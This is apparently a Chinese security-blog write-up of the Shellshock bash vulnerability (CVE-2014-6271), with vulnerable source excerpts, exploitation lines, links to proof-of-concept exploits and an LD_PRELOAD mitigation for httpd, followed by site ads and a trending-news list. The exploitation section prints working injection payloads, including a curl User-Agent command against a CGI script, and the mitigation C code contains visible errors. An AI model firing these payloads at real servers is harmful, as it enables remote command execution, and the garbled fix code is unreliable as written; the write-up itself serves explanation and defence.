破壳漏洞CVE-2014-6271 bash代码注入漏洞总结
概述:
低于4.3版本的gnu bash存在漏洞,运行本地用户通过构造畸形命令执行额外的代码。
细节:
bash-4.1/variables.c 的initialize_shell_variables() 函数负责解析临时环境变量中的函数定义并执行出,未验证特殊的环境变量情况,代码如下:
void
initialize_shell_variables (env, privmode)
char **env;
int privmode;
{
...
strcpy(temp_string + char_index + 1, string);
/*此处缺少对畸形环境变量的验证,应修改为
if(legal_identifier (name))
parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST SEVAL_FUNCDEF SEVAL_ONECMD);
*/
parse_and_execute(temp_string, name, SEVAL_NONINT SEVAL_NOHIST);
/* Ancientbackwards compatibility. Old versions ofbash exported
functions likename()=() {...} */
if(name[char_index - 1] == ')' && name[char_index - 2] == '(')
name[char_index - 2] = '';
...
}
bash-4.1/builtins/evalstring.c 的parse_and_execute()函数负责具体的解析和执行,未验证特殊的command情况,代码如下:
int
parse_and_execute (string, from_file, flags)
char *string;
const char*from_file;
int flags;
{
...
else if (command= global_command)
{
struct fd_bitmap *bitmap;
/*此处缺少对command类型的判断,应添加
if((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
internal_warning("%s: ignoring function definition attempt", from_file);
should_jump_to_top_level= 0;
last_result= last_command_exit_value = EX_BADUSAGE;
break;
}
*/
bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame("pe_dispose");
add_unwind_protect (dispose_fd_bitmap, bitmap);
add_unwind_protect (dispose_command,command); /* XXX */
global_command = (COMMAND *)NULL;
...
}
影响范围:
该漏洞影响gnu bash 4.3之前的版本。
由于bash的广泛应用,也影响到其他的软件,如httpd cgi等。
利用方法:
[bash本地命令注入]
1.官方验证版 env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
2.官方patch绕过版 env -i X='() { (a)=>' bash -c 'echo date';cat echo
[http cgi远程命令执行]
curl -A "(){ :; }; /bin/ls /; uname -a" http://www.aaa.com/bbb.cgi -v
[dhcp远程命令执行]
https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
[vmware fusion提权]
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/vmware_bash_function_root.rb
漏洞延伸:
busybox 不存在相同漏洞
httpd cgi修复方法:
我们提供的Httpd临时修复方案如下:
1.编辑bash_ld_preload.c文件
#include <sys/types.h>
#include
#include
static void __attribute__ ((constructor)) strip_env(void);
extern char **environ;
static void strip_env()
{
char *p,*c;
int i = 0;
for (p =envirop[i];!=NULL;i++ ) {
c =strstr(p,"=() {");
if (c !=NULL) {
*(c+2)= '';
}
p =environ[i];
}
}
2.检查校验和
sha256sum bash_ld_preload.c
28cb0ab767a95dc2f50a515106f6a9be0f4167f9e5dbc47db9b7788798eef153 bash_ld_preload.c
3.编译
$ gcc bash_ld_preload.c -fPIC -shared-Wl,-soname,bash_ld_preload.so.1 -o bash_ld_preload.so
4.复制bash_ld_preload.so到/lib
cp bash_ld_preload.so /lib/
5.在/etc/init.d/httpd头部(在#!行之后)添加以下内容:
LD_PRELOAD=/lib/bash_ld_preload.so
export LD_PRELOAD
6.重启httpd
service httpd restart
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 准确把握守正创新的辩证关系 7955559
- 2 中国黄金原董事长家搜出大量黄金 7960938
- 3 空调英文不会男生盯着考场空调看 7889597
- 4 消费品以旧换新“加速度” 7710596
- 5 被铁路售票员的手速惊到了 7638663
- 6 网红赤木刚宪爆改赵露思 7581494
- 7 县委原书记大搞“刷白墙”被通报 7473929
- 8 山姆代购在厕所分装蛋糕 7376933
- 9 马龙刘诗雯穿正装打混双 7221809
- 10 刘强东提前发年终奖 7179881